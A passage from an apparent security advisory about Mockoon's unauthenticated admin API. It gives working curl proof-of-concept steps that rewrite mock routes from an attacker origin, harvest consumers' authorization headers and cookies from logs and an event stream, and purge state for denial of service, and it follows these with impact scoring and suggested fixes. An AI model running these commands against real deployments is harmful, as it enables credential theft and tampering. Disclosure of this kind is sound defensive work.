Details
5) Rewrite every mock route via unauth PUT /environment
$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
-H "Origin: https://attacker.evil" \
-H "Content-Type: application/json" \
-d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}
$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}
6) Read transaction logs / SSE stream → harvest consumer's auth headers
$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2
Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.
7) Purge state (DoS)
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}
---
Impact
In typical local-dev mode (CVSS 8.8 High):
- Secret read of every
MOCKOON_*env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any
process.envkey — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
- Auth-token harvesting via transaction logs / SSE stream.
- State purge / DoS.
In network-exposed deployment (CVSS 9.4 Critical):
- All of the above without user interaction. The serverless wrapper hardcodes
enableAdminApi: true;mockoon/cliDocker image inherits the same default and is commonly deployed in shared CI / staging environments.
---
Suggested fix
- Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off
MOCKOON_ADMIN_TOKENenv var, compared withcrypto.timingSafeEqual. - Stop sending
Access-Control-Allow-Origin: *on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with--admin-api-origin. - Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
- Add a prefix check on the
setEnvVarHandlermatching the prepend behavior on the GET handler — reject anykeythat doesn't start withenvVarsPrefix. - Add
SECURITY.mdwith disclosure instructions. - Ship
@mockoon/serverlessandmockoon/cliDocker image withenableAdminApi: falseby default; opt-in via flag.